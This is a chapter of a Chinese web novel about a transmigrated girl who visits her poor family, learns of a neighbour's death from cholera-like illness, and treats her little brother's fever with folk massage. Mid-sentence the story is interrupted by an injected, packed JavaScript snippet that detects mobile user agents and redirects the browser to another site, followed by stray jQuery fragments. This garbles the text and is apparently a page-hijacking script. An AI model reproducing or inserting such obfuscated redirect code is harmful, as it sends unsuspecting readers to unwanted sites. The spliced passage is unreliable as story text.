18.回家
作品:《她在古代搞生存》 醋溜绿豆芽,味道不错,配粥喝,简直一绝。
吃完了绿豆芽,黄豆芽也发好了。
这回沈令仪是真感受到了种子发芽的力量,二两重的盘子,居然就被豆芽这么撑起来了,而且每根豆芽都长得那么白白胖胖,一点都没被压断。
陈静姝遗憾:“回头我再发一次,让你看看没压盘子的豆芽发出来的样子,绝对长不到这么粗壮,全是细细的。”
“为什么?”沈令仪奇怪,“没有东西压着,不是应该长得更好吗?”
陈静姝一本正经:“天将降大任于是人也,必先苦其心志,劳其筋骨,饿其体肤,空乏其身,行拂乱其所为,所以动心忍性,曾益其所不能。有压力才能长得更好,凡事都顺风顺水的话,未必能长成才。”(注①)
沈令仪感觉自己听懂了,心中满是欢喜。
可很快,她就欢喜不起来了,因为按照当初说好的,陈静姝入府陪小姐读书,每十天也休息一次,好回家探望父母家人的。
当意识到这件事情的时候,沈令仪整个人都蔫巴了。
可她又不能留着静姝不许走。
她知道哩,静姝家里头有爹娘,还有姐姐跟弟弟,怎么能让人骨肉分离呢?
所以小小的沈小姐拿出了气魄,决定要给自己朋友的家人准备礼物。
大人喜欢什么?她不知道。
她要准备的是静姝的姐姐跟弟弟的礼物。
陈小弟她见过,是个极活泼的,喜欢吃糖。那么多多给他备上糖跟个各色点心。
陈阿姐呢?陈阿姐是个什么样的人?
陈静姝向她介绍:“我大姐是个特别好的人,一直帮我娘干活,照顾我们。”
沈令仪想来想去,挑选了一套自己最喜欢的提丝傀儡,准备送给陈家姐姐。本来是应该静姝陪着陈家姐姐的,现在只好让提丝傀儡多陪陪姐姐了。
陈静姝看她兴致勃勃准备礼物的模样,总算放下心来。
照这架势,应该不会分离焦虑了吧?
结果第二天一早,送她这个朋友出门的时候,沈令仪的情绪直接不行了,差点没当场掉下金豆子来,甚至想要跟陈静姝一块回家。
这下子,不仅奶娘当场直接跳了起来,连陈静姝都敬谢不敏。
开什么玩笑啊?就陈家住大杂院的那小屋子,能招待沈令仪吗?
以现在六月天的气温,估计她人前脚进去,后脚就能中暑晕过去?
所以陈静姝毫不犹豫地转移她的注意力,拉着她到旁边悄悄咬耳朵:“你这些天一直上学,陪你祖母说话的时间少了好多。今天好不容易夫子给我们放假,你要多陪陪祖母呀。”
羞愧之情暂时压制住了不舍,沈令仪眨巴着小鹿一样的眼睛,可怜巴巴的:“那你什么时候回来啊?”
“晚上我就回来。”陈静姝打包票,“回来我还得温书呢,明天夫子说要考我们的。”
沈令仪也头皮发紧,要是被夫子给考住了,那可太丢脸啦。
胡妈妈早在旁边候着,见状赶紧笑着上前:“小姐,老夫人还等着您呢。”
沈令仪这才被奶娘等人带着,一步三回头地往颐寿斋去。
胡妈妈立刻催促陈静姝:“走吧,说不定你爹娘早等急了。”
这话她可真没说错,平头车刚出沈府别院的角门,陈静姝就看到了她爹陈青田。
胡妈妈也吃了一惊:“哎呦,陈先生,你怎么还在这边等着呀?”
她开玩笑道,“怎么,怕我扣着陈小娘子,不送她回家?”
陈青田局促地搓着手,脸上赔笑:“不好意思劳烦妈妈呀,我领二囡回去就好。”
胡妈妈摆摆手:“合该是奴婢干的事,陈先生您就别客气了。”
但小平头车肯定不方便坐两个大人外加个小孩坐,况且这两个大人男女有别,实在不该坐一车。
所以胡妈妈招呼了一句看门的,里头很快又牵出了一头矮脚马。
胡妈妈还笑着致歉:“一时没准备,委屈先生了,且乘这马,一道归家吧。”
陈青田愈发局促不安,想要谢绝:“我走回去就好,不麻烦妈妈了。”
胡妈妈却坚持:“陈先生还是快上马吧,一会儿日头大起来了,更晒的吃不消。”
陈青田听罢,自然也只好翻身上马。
他原本还想问问女儿在府里的情况,这会儿哪有说话的机会?只能先闷头赶路了。
好在胡妈妈并不打算在陈家多待,人到了大杂院,她把几个包裹拎到了陈家屋里头,便干脆利落地告辞:“奴婢还要替府里办点事,就不叨扰先生和夫人了。”
李荷花慌的赶紧要把包袱推回去,静姝在沈家又是吃又是喝又是上学的,他们家怎么还能拿沈家的东西呢?
但胡妈妈怎么肯接,立刻抬脚往外走:“都是老夫人跟小姐的一点心意,陈小娘子是小姐的小友,怎么能见外呢?”
撂下话,她腿脚麻利,已经出了门。
李荷花要追上,大杂院里突然间响起了一声唢呐,然后是一群人哭哭啼啼地抬了一口棺材出来,把路给挡住了。
胡妈妈见状,赶紧上了平头车,走了。
陈静姝奇怪:“这是谁家办丧事呀?”
她在大杂院住的时候早出晚归,一心忙着抄书挣钱,跟院子里的人不太熟。
李荷花叹了口气:“能是谁呢?住井旁边的周师傅。好好的一个人,受了暑气,喝了冷酒,结果得了绞肠痧,又是吐,又是拉的,请铃医郎中开了几剂药也不见好。昨天一早人就没了。他老家不在这边,得回去才能葬在祖坟里头。”
陈静姝听了感觉也想叹气。
因为周师傅是个做家具的木匠,一个月能收入四五贯钱,比陈青田这个体面的账房先生都阔气。
他家在大宅院也是体面人家,住了三间房呢。
她记得自己走的时候,周师傅还好好的,结果短短十天时间,人就没了。
可这个时代,一场风寒都能要了人命,能怎么办呢?
陈静姝关心了句:“娘,你不去帮忙吗?”
同在一个大杂院里头,人家办丧事这么大的事,他们家如果只有阿爹去的话,好像不太合适。
起码她娘也要过去,帮忙准备豆腐宴。
“用不着咱们,行会的人过来帮忙,直接抬着棺材上船,也不在院子里办豆腐宴。这么热的天,耽误不得。”
李荷花已经把注意力收回到自家屋子里了,她看着包裹里头的衣服和各式玩意儿,愁得不知道该如何是好。
陈静姝心态倒是放的好。
她现在身兼陪读、心理医生外加小儿推拿师三重责任,工资高点也是正常的。
毕竟如她这种稀缺的复合型人才,无论身处何时何地,都有市场。
“收着吧,娘。”陈静姝拿起一条裙子,“把这件改改给大姐穿吧。”
陈静娴连连摆手:“我不要。”
她更担心的是,妹妹在人家府里头有没有受气?有没有被欺负?
陈静姝摇头:“没有,老夫人跟小姐都非常和气,也没有客人登门。大姐,你就拿着,这套傀儡戏是沈娘子特地送你玩的。哎,小弟呢?”
李荷花眼睛朝床的方向瞥了一下,低声叹气:“他闹脾气呢。”
从老二去沈府没带他开始,他就不高兴,一直怏怏不乐的。
今天一早,他爹要带他去接老二,他就没应声,到现在也不起来吃早饭,可见脾气不小。
陈静姝在心里叹了口气。
谁说小孩子没心事的?小孩子的自尊心受了伤害,可要好好的养哩。
陈静姝拿了蜜饯果儿去逗小弟:“不吃糖了吗?有好多好吃的糖呢?”
结果陈小弟背对着她,头也不回。
陈静姝开始玩激将法:“哟,这是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168529|196382||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
字没写好?害怕我考你考不出来,所以躲着不敢见我吧?”
然而,陈小弟还是没理她。
陈静姝伸手要拧他的脸蛋,摸上去的时候,突然间感觉不对劲。
她再伸手一探,乖乖,小弟的额头居然这么烫?
“娘,小弟发热了。”
李荷花正在收拾包裹呢,闻声赶紧丢下,过来摸儿子的脑袋,顿时慌了神,朝外面喊:“他爹!赶紧去看看有没有铃医,小三发热了。”
可外面吹唢呐的声音已经远去,哪里听得到陈青田的回应。
陈静姝急了:“赶紧去医馆啊,外面哪有铃医?”
这又不是固定摊位。
李荷花慌慌张张的:“你说什么胡话呢?医馆是我们能进的吗?那是大户人家才能看得起的大夫。人家开的方子,家里也抓不起药的。”
陈静姝赶紧招呼陈静娴:“大姐,拿热水跟凉水过来,兑成温水,过来给小弟擦身上。娘,家里还有油吗?你拿过来。”
李荷花慌了神,大杂院里刚死了人呢,她害怕有鬼作祟,缠上了她家的小三子。
否则好好的,她家小三子怎么发起热来了呢。
三个小孩生下来就没病没灾的,除了老二春天的时候发过一场热之外,就没谁得过病。
陈静姝催促她:“娘,你快点拿油过来。”
李荷花头回失去了当家人的风范,真被她二女儿指挥着,拿来了油罐。
里头装的是菜籽油。
大户人家比如说沈府是不吃这个的,因为芥酸含量高,味道发苦。但农家因为自己种,而且油菜的产量要比芝麻高不少,所以大杂院的人家也吃。
陈静姝用手指头沾了点菜籽油,开始给小弟清天河水。
李荷花回过神来:“你干嘛呢?别弄了。我背小三子去医馆吧。”
沈府的人情也顾不上什么时候还了。那包袱里头的好衣裳先送去当铺换铜钱,给小三子看病吧。
陈静姝手上动作不停,还在快速的往上推:“清天河水,退烧的。”
清了差不多五分钟的天河水,她又给小弟推后脖颈退热。
等忙完之后,陈小弟还没发热,她自己先出了一身汗。
陈青田已经返回头了,见状,疑惑道:“这是在干什么呢?”
李荷花一肚子火:“你早上喊人的时候都没发现小三子发烧了啊?”
陈青田冤枉死了:“我就喊了他一声,又没点灯,我怎么能看到他发烧呢?”
李荷花悲从中来:“连个灯都点不起。你杵在这儿干什么?你快出去!赶紧用艾草打打去,就会把晦气带进门。”
陈静姝见势不妙,赶紧喊停:“娘,你给小弟弄点水来喝啊。爹,你赶紧再打点水来。小弟要用温水擦身。”
贫贱夫妻百事哀,再让他俩掰扯下去,还不得吵得天翻地覆啊。
这个点吵什么吵?真是抓不住重点!
好在陈小弟的身子骨应该要比沈令仪壮实的多,所以反应极快,水还没有来的时候,他就开始发汗了。
等到浑身大汗淋漓,他喝上了水,还悲从中来:“我要喝糖水,二姐,我要喝糖水。”
陈静姝赶紧拿了糖果儿放在碗里:“喝糖水,喝糖水,你赶紧喝了吧你。”
陈青田又伸手摸了摸儿子的额头和屁股,松了口气,热退的差不多了。
他也想起来追问二女儿:“你刚才在干什么?”
“给弟弟退烧啊。”陈静姝含糊其辞,“我在书上看到的。”
她对这个时代的认知还是极为有限,所以并不清楚,医书在大兴朝并不是遍地可见,甚至可以跟食谱一道,被大户人家当成传家宝或者嫁妆。
故而陈青田直接跳过了书铺这个选项,下意识地和妻子交换了个眼神。
老二果然没白去沈家,看,如果不是去沈家,上哪儿学这么有用的东西呀?

